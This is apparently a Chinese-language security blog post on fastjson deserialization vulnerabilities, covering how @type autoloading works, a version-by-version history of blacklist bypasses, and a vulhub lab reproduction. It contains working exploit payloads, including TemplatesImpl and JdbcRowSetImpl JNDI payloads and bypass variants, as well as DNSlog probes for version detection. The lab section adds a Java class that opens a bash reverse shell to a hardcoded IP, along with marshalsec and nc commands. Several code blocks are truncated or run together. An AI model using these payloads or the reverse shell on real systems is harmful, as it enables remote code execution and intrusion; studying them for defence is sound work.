fastjson 反序列化漏洞
fastjson介绍
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
漏洞介绍
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:基于属性基于setter/getter
1 | class Apple implements Fruit { |
1 | toJSONString : {"fruit":{"price":0.5}} |
1 | public class Fastjson { |
1 | 为了解决上述问题: |
fastjson 在反序列化的时候会去找我们在 @type
中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法的调用,注意!并不是所有的 setter 和 getter 方法。
下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:
1 | 满足条件的setter: |
我个人理解 fastjson 的利用攻击其实是蛮简单的,因为没有那么多复杂的链子,也不需要反射修改值,直接在 json 串里面赋值就好了。
漏洞原理
由前面知道,Fastjson是自己实现的一套序列化和反序列化机制,不是用的Java原生的序列化和反序列化机制。无论是哪个版本,Fastjson反序列化漏洞的原理都是一样的,只不过不同版本是针对不同的黑名单或者利用不同利用链来进行绕过利用而已。
通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
那么如何才能够反序列化出恶意类呢?
由前面demo知道,Fastjson使用
parseObject()
/parse()
进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。如何才能触发反序列化得到的恶意类中的恶意函数呢?
由前面知道,在某些情况下进行反序列化时会将反序列化得到的类的构造函数、
getter
方法、setter
方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在。换句话说,就是攻击者传入要进行反序列化的类中的构造函数、getter
方法、setter
方法中要存在漏洞才能触发。
我们到DefaultJSONParser.parseObject(Map object, Object fieldName)
中看下,JSON中以@type形式传入的类的时候,调用deserializer.deserialize()
处理该类,并去调用这个类的setter
和getter
方法:
1 | public final Object parseObject(final Map object, Object fieldName) { |
整个解析过程相当复杂,知道结论就ok了。
小结一下
若反序列化指定类型的类如Student obj = JSON.parseObject(text, Student.class);
,该类本身的构造函数、setter
方法、getter
方法存在危险操作,则存在Fastjson反序列化漏洞;
1 | public void setName(String test) throws IOException { |
若反序列化未指定类型的类如Object obj = JSON.parseObject(text, Object.class);
,该若该类的子类的构造方法、setter
方法、getter
方法存在危险操作,则存在Fastjson反序列化漏洞;
PoC 写法
一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类
1 | { |
关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:
- 该类的构造函数、
setter
方法、getter
方法中的某一个存在危险操作,比如造成命令执行; - 可以控制该漏洞函数的变量(一般就是该类的属性);
漏洞Demo
由前面比较的案例知道,当反序列化指定的类型是Object.class,即代码为Object obj = JSON.parseObject(jsonstring, Object.class, Feature.SupportNonPublicField);
时,反序列化得到的类的构造函数、所有属性的setter
方法、properties私有属性的getter
方法都会被调用,因此我们这里直接做最简单的修改,将Student类中会被调用的getter
方法添加漏洞代码,这里修改getProperties()
作为演示:
1 | import java.util.Properties; |
FastjsonEasyPoC.java
1 | import com.alibaba.fastjson.JSON; |
很明显,前面的Demo中反序列化的类是一个Object类,该类是任意类的父类,其子类Student存在Fastjson反序列化漏洞,当@type指向Student类是反序列化就会触发漏洞。
对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到Student类而非Object类,这样就是另一个触发也是最直接的触发场景:
漏洞攻防史
v1.2.24之前
@type自动加载类
v1.2.41之前,
fastjson默认关闭了autotype支持,并且加入了checkAutotype (过滤@type里的值,黑白名 单过滤)
加载的过程中,fastjson有一段特殊的处理,那就是在具体加载类的时候会去掉className前后的L和后面的分号;,形如Lcom.lang.Thread; Lcom.sun.rowset.JdbcRowSetImpl;
v1.2.42
在进行黑白名单检测的时候,fastjson先判断目标类的类名的前后是不是L和;,如果是的话,就截取掉前后的L和;再进行黑白名单的校验 LLcom.sun.rowset.JdbcRowSetImpl;;
v1.2.43
fastjson这次在黑白名单判断之前,增加了一个是否以LL未开头的判断 在目标类前面添加[ v1.2.44版本中,fastjson的作者做了更加严格的要求,只要目标类以[开头或者以;结尾
v1.2.47
autoType不开启反而会被攻击。因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中
v1.2.68
利用异常进行攻击 OOM在fastjson中, 如果@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。并且指定了expectClass为Throwable.class,但是在checkAutoType中,有这样一约定,那就是如果指定了expectClass ,那么也会通过校验。因为fastjson在反序列化的时候会尝试执行里面的getter方法,而Exception类中都有一个getMessage方法。只需要自定义一个异常,并且重写其getMessage就达到了攻击的目的。
漏洞分析
fastjson1.2.24
TemplatesImpl
漏洞利用链
1
2
3
4
5
61.构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。
2.在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses() / EvilClass.newInstance().payload
1
2
3
4
5
6
7{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "su18",
"_tfactory": {},
"_outputProperties": {},
}代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public class Fastjson24poc {
public static void main(String[] args) {
//TemplatesImpl
String byteCode = "xxxxxxxxxxxxxxx";
//构造TemplatesImpl的json数据,并将恶意类注入到json数据中
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+byteCode+"\"]," +
"'_name':'TempletaPoc'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
//反序列化
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
JdbcRowSetImpl
payload
1
2
3
4
5{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
fastjson1.2.25
payload
1
2
3
4
5{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
fastjson1.2.42
payload
1
2
3
4
5{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
fastjson1.2.43
payload
1
2
3
4
5{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
fastjson1.2.44
- 这个版本主要是修复上一个版本中使用
[
绕过黑名单防护的问题
fastjson1.2.45
黑名单绕过
payload
1
2
3
4
5
6{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
fastjson1.2.47
payload
1
2
3
4
5
6
7
8
9
10
11{
"su18": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"su19": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
fastjson版本探测
DNSlog探测
以下POC出网,说明fastjson<=1.2.47
1
{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}
以下这个POC出网,说明fastjson>=1.2.37
1
{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}
以下这个POC出网,证明fastjson版本号1.1.16<=version<=1.2.24
1
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}
以下这几个POC,只能证明fastjson出网,无法判断fastjson是否存在反序列化漏洞,因为最新的打了补丁的fastjson也是能发起DNS请求的。
1
2
3
4
5{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}
{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}
报错判断
提交一下两个POC,会抛出异常,有时候会显示出fastjson版本号来。
1
2
3
4
5{"@type": "java.lang.AutoCloseable"
["test":1]
输入一些乱码字符,让web应用报错,有时候也会带出来版本号
vulhub漏洞复现
fastjson1.2.24
docker启动环境
kali创建TouchFile文件用来反弹shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.5.143/4444 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}python起一个http服务
1
python2 -m SimpleHTTPServer
marshalsec启动RMI服务器
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.141:4433/#TouchFile" 9988
kali上用NC开启端口监听
1
nc -lvvp 4444
抓包改为POST包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17POST / HTTP/1.1
Host: 192.168.110.141:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: application/json
Content-Length: 165
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.110.141:9988/TouchFile",
"autoCommit":true
}
}弹到shell
fastjson1.2.27
payload总结
JdbcRowSetImpl
1 | { |
TemplatesImpl
1 | { |
JndiDataSourceFactory
1 | { |
SimpleJndiBeanFactory
1 | { |
DefaultBeanFactoryPointcutAdvisor
1 | { |
WrapperConnectionPoolDataSource
1 | { |
JndiRefForwardingDataSource
1 | { |
InetAddress
1 | { |
Inet6Address
1 | { |
URL
1 | { |
JSONObject
1 | { |
URLReader
1 | { |
AutoCloseable 任意文件写入
1 | { |
BasicDataSource
1 | { |
JndiConverter
1 | { |
JtaTransactionConfig
1 | { |
JndiObjectFactory
1 | { |
AnterosDBCPConfig
1 | { |
AnterosDBCPConfig2
1 | { |
CacheJndiTmLookup
1 | { |
AutoCloseable 清空指定文件
1 | { |
AutoCloseable 清空指定文件
1 | { |
AutoCloseable 任意文件写入
1 | { |
BasicDataSource
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
SessionBeanProvider
1 | { |
JMSContentInterceptor
1 | { |
ContextClassLoaderSwitcher
1 | { |
OracleManagedConnectionFactory
1 | { |
JNDIConfiguration
1 | { |